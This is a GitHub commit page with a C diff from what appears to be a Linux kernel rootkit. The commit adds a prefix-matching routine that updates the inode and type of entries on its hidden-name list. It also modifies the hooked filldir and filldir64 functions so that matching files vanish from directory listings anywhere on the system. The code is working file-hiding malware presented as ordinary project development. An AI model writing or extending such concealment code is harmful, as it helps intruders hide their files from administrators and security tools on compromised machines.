Skip to content

Commit

Permalink
fs: add late update to hidden files
Browse files Browse the repository at this point in the history
statx is fed by filldir(64) however, shared data
between these two is mostly meta.

Here I pave way to link concrete info between
these two, that may not be available earlier,
notably from hide-file-anywhere.

and other minor changes
  • Loading branch information
JNE committed Dec 3, 2024
1 parent 38089ef commit c351f01
Show file tree
Hide file tree
Showing 3 changed files with 54 additions and 17 deletions.
29 changes: 29 additions & 0 deletions src/fs.c
Original file line number Diff line number Diff line change
Expand Up @@ -177,6 +177,35 @@ bool fs_search_name(const char *name, u64 ino) {
return false;
}

/**
* find the name match, and update
* inode, type, if necessary
* this can be useful for "hide-file-anywhere" when the next
* call is statx, making data available upwards
*/
bool fs_search_and_update(const char *name, u64 ino, bool is_dir) {
bool rc = false;
struct hidden_names *node, *node_safe;
list_for_each_entry_safe(node, node_safe, &names_node, list) {

/** This will match any string starting with pattern */
if (!strncmp(node->name, name, strlen(node->name))) {
rc = true;

if (node->is_dir != is_dir) {
prinfo("Update[is_dir] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir);
node->is_dir = is_dir;
}
if (node->ino != ino) {
prinfo("Update[ino] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir);
node->ino = ino;
}
break;
}
}
return rc;
}

void fs_list_names(void) {
struct hidden_names *node, *node_safe;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
Expand Down
24 changes: 11 additions & 13 deletions src/fs.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,19 +21,17 @@ bool fs_file_stat(struct path *, struct kstat *);
* This function allocates data that must
* be freed when no longer needed.
*/
struct fs_file_node *fs_get_file_node(const struct task_struct *task);

bool fs_search_name(const char *name, u64);
struct fs_file_node *fs_get_file_node(const struct task_struct *);
bool fs_search_name(const char *, u64);
void fs_list_names(void);
int fs_add_name_ro(const char *name, u64);
int fs_add_name_rw(const char *name, u64);
int fs_add_name_rw_dir(const char *name, u64 ino, bool);
bool fs_del_name(const char *name);
int fs_add_name_ro(const char *, u64);
int fs_add_name_rw(const char *, u64);
int fs_add_name_rw_dir(const char *, u64, bool);
bool fs_search_and_update(const char *, u64, bool);
bool fs_del_name(const char *);
void fs_names_cleanup(void);
struct fs_file_node *fs_load_fnode(struct file *f);


struct file *fs_kernel_open_file(const char *name);
struct fs_file_node *fs_load_fnode(struct file *);
struct file *fs_kernel_open_file(const char *);

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0)
ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *);
Expand All @@ -43,6 +41,6 @@ ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t);
int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long);
#endif

int fs_kernel_close_file(struct file *filp);
int fs_file_rm(char *name);
int fs_kernel_close_file(struct file *);
int fs_file_rm(char *);
#endif //__FS_H
18 changes: 14 additions & 4 deletions src/sys.c
Original file line number Diff line number Diff line change
Expand Up @@ -735,7 +735,14 @@ static int (*real_filldir)(struct dir_context *, const char *, int, loff_t, u64
static int m_filldir(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) {
#endif

if (fs_search_name(name, ino))
/** For certain hidden files we don't have inode number initially,
* when hidden with "hide-file-anywhere" but it is available here
* and it is updated below, if needed.
* Also for files hidden anywhere same file can live
* in multiple directories, thus inode number may
* be updated to the current directory being listed
*/
if (fs_search_and_update(name, ino, d_type == DT_DIR))
return 0;
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
Expand All @@ -748,10 +755,13 @@ static int (*real_filldir64)(struct dir_context *, const char *, int, loff_t, u
static int m_filldir64(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) {
#endif

//XXX: d_type == DT_DIR ? "Directory" : "Reg file"
if (fs_search_name(name, ino))
return 0;
if (fs_search_and_update(name, ino, d_type == DT_DIR))
goto match;

return real_filldir64(ctx, name, namlen, offset, ino, d_type);

match:
return 0;
}

#define MAXKEY 512
Expand Down

0 comments on commit c351f01

Please sign in to comment.